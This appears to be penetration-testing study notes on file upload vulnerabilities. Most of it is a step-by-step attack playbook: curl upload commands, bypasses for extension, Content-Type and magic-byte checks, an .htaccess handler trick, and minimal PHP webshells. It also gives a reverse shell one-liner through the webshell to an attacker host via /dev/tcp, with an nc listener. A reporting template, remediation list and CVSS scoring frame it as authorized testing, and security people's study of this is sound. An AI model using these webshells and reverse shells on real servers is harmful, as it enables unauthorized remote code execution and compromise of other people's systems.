File Upload Vulnerabilities
Table of Contents
File upload functionality is one of the most direct paths to Remote Code Execution in web applications. The vulnerability class is broad — from complete absence of validation through to partial controls that can be bypassed. The attack goal is always the same: get a server-executable file into a location the web server will run it from, then trigger execution.
Related: Webshell [[Denote query for ‘20260613T000006’]] Exploitation Command Injection File Inclusion Web Application Testing Methodology
1. What the Server Needs to Execute Your File
Before testing, identify the server-side stack. A PHP webshell does nothing on a Node.js server. The stack determines which payloads to attempt.
# Fingerprint from headers and errors curl -sI http://$IP/ | grep -i "x-powered-by\|server" # Nmap service/version scan nmap -sV -p 80,443,8080 $IP # File extensions in URLs hint at the language # .php → PHP, .jsp → Java, .aspx → ASP.NET
| Stack indicator | Executable extension to target |
|---|---|
| PHP / Apache | .php, .php5, .phtml, .phar |
| ASP.NET / IIS | .aspx, .ashx, .asp |
| Java / Tomcat | .jsp, .jspx |
| Node.js | Not typically executable via upload — pivot to other vulns |
2. Validation Bypass Hierarchy
Validation controls are commonly stacked. Work through each layer from weakest to strongest — stop when you achieve execution.
2.1 No Validation
The application accepts any file with no checks. Upload
shell.php directly.
curl -X POST http://$IP/upload \ -F "file=@shell.php;type=application/octet-stream" \ -b "session=$TOKEN"
2.2 Client-Side Extension Check Only
The extension is validated in JavaScript before submission. The server performs no check. Bypass by intercepting in Burp Suite after the client-side check passes, or by disabling JS.
Method: Upload a .jpg file. Let client-side validation pass.
Intercept in Burp Proxy. Change the filename to shell.php in
the intercepted request. Forward.
2.3 MIME Type Check (Content-Type Header)
The server reads the Content-Type header from the request.
This is attacker-controlled — it is trivially spoofed.
# Spoof Content-Type to image while uploading PHP curl -X POST http://$IP/upload \ -F "file=@shell.php;type=image/jpeg" \ -b "session=$TOKEN"
In Burp Suite: change Content-Type: application/x-php to
Content-Type: image/jpeg in the multipart form data section.
2.4 Extension Blocklist
The server rejects specific extensions (.php, .exe). Bypass
with alternative extensions that the server still executes:
| Blocked | Try instead |
|---|---|
.php |
.php5, .php7, .phtml, .phar, .php3 |
.asp |
.aspx, .ashx, .cer, .asa |
.jsp |
.jspx, .jsw, .jsv |
Also try case manipulation and null bytes:
shell.PHP shell.PhP shell.php.jpg ← if server strips last extension shell.php%00.jpg ← null byte truncation (older PHP)
2.5 Extension Allowlist
The server only accepts specific extensions (e.g. .jpg, .png,
.gif). This is the strongest client-facing control. Bypass
options:
- Double extension:
shell.jpg.php— if server takes the last extension, this executes as PHP. Behaviour depends on Apache configuration. - Magic bytes + extension trick: prepend valid image magic bytes to a PHP file and use an allowed extension, then find a path to execute it (requires file inclusion vulnerability to chain).
- .htaccess upload: if the upload directory permits
.htaccess, upload one that declares a custom handler:
AddType application/x-httpd-php .jpg
After uploading this .htaccess, upload shell.jpg. Apache
will now execute it as PHP.
2.6 Magic Bytes Validation
The server reads the first bytes of the file content to verify the file type, ignoring the declared Content-Type and extension. Bypass by prepending the magic bytes of an allowed file type to the PHP payload:
# JPEG magic bytes: FF D8 FF printf '\xFF\xD8\xFF' > shell.php echo '<?php system($_GET["cmd"]); ?>' >> shell.php # GIF magic bytes: GIF89a (ASCII — easier to append inline) echo 'GIF89a' > shell.php echo '<?php system($_GET["cmd"]); ?>' >> shell.php # Verify file shell.php # Should report: GIF image data
The resulting file passes magic byte validation while containing executable PHP.
3. Webshell Payloads
Keep payloads minimal — feature-rich shells are more likely to be caught by AV or WAF.
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
Parameter-flexible version:
<?php $c = isset($_GET['cmd']) ? $_GET['cmd'] : $_POST['cmd']; echo system($c); ?>
For image bypass — embed in EXIF comment (retains valid JPEG structure):
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
cp image.jpg shell.php.jpg
4. Finding the Upload Path
Uploading the file is half the problem. You need to know the URL to reach it.
# 1. Observe the response — many apps return the path directly curl -X POST http://$IP/upload \ -F "file=@shell.php;type=image/jpeg" \ | python3 -m json.tool # 2. Common upload directories to try for path in /uploads /files /media /images /assets/uploads \ /public/uploads /static/uploads /tmp; do curl -so /dev/null -w "%{http_code} $path/shell.php\n" \ http://$IP$path/shell.php done # 3. Feroxbuster targeting upload directory feroxbuster -u http://$IP/uploads -x php,jpg,png
5. Triggering Execution
Once the file is reachable:
# Basic command execution curl "http://$IP/uploads/shell.php?cmd=id" curl "http://$IP/uploads/shell.php?cmd=whoami" # Confirm network connectivity for reverse shell curl "http://$IP/uploads/shell.php?cmd=ping+-c+1+$ATTACKER_IP" # Reverse shell via webshell curl "http://$IP/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261'"
Set up listener before triggering:
nc -lvnp 4444
6. Testing Methodology Checklist
Run through this in order on any target with upload functionality.
[ ]Identify the server-side language from headers and URLs[ ]Upload a valid file normally — observe the response and where the file is served from[ ]Attemptshell.phpwith no other changes — note what validation fires[ ]If extension blocked: try.php5,.phtml,.phar[ ]SpoofContent-Typetoimage/jpegwhile keeping.phpextension[ ]Prepend GIF89a magic bytes to PHP payload[ ]Attempt double extension:shell.jpg.php[ ]If.htaccessupload is permitted: upload custom handler thenshell.jpg[ ]Locate the uploaded file — check response, common paths, directory brute-force[ ]Trigger execution with?cmd=id[ ]Escalate to reverse shell
7. Reporting Template
Finding: Unrestricted File Upload
Severity: Critical (if code execution achieved) / High (if upload succeeds but execution not confirmed)
Description:
The file upload functionality at [endpoint] does not adequately
validate uploaded file types. An authenticated attacker can
upload a server-executable script and trigger its execution by
navigating to the uploaded file's URL, achieving Remote Code
Execution on the server.
Evidence:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
----boundary--
HTTP/1.1 200 OK
{"path":"/uploads/shell.php"}
---
GET /uploads/shell.php?cmd=id HTTP/1.1
HTTP/1.1 200 OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact: Remote Code Execution as the web server process user. An attacker can read server files, access internal services, pivot to other systems on the internal network, and establish persistent access.
Remediation:
- Validate file type using magic bytes server-side, not solely on extension or Content-Type header
- Implement a strict allowlist of permitted extensions
- Store uploaded files outside the web root where possible
- Rename files on upload to a random UUID — remove attacker control over the filename and extension
- Serve uploaded files through a dedicated handler that sets
Content-Disposition: attachmentrather than executing content - Run the web server process under a least-privilege account
8. CVSS Indicative Scoring
RCE achieved via file upload:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Base Score: 9.9 (Critical)
Rationale: Scope changed (S:C) if web server can reach internal
systems; PR:L if login required to access upload form
Upload succeeds but execution not confirmed:
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Base Score: 5.4 (Medium)
Tips
- Always try the simplest bypass first — many applications have
client-side-only validation and accept
shell.phpdirectly with no server-side check at all - GIF89a prepend is your most reliable magic byte bypass — the bytes are ASCII and don't corrupt the PHP parser
- The
.htaccesstechnique is Apache-specific and often overlooked — check if the upload directory is served by Apache and if.htaccessis not in the blocklist - If you cannot achieve execution but can confirm upload: still report it as High — the impact statement covers the path to RCE even if you stopped short for scope reasons
- Document every bypass layer attempted in your notes during the exam — the report needs to show you tested systematically, not just that you got a shell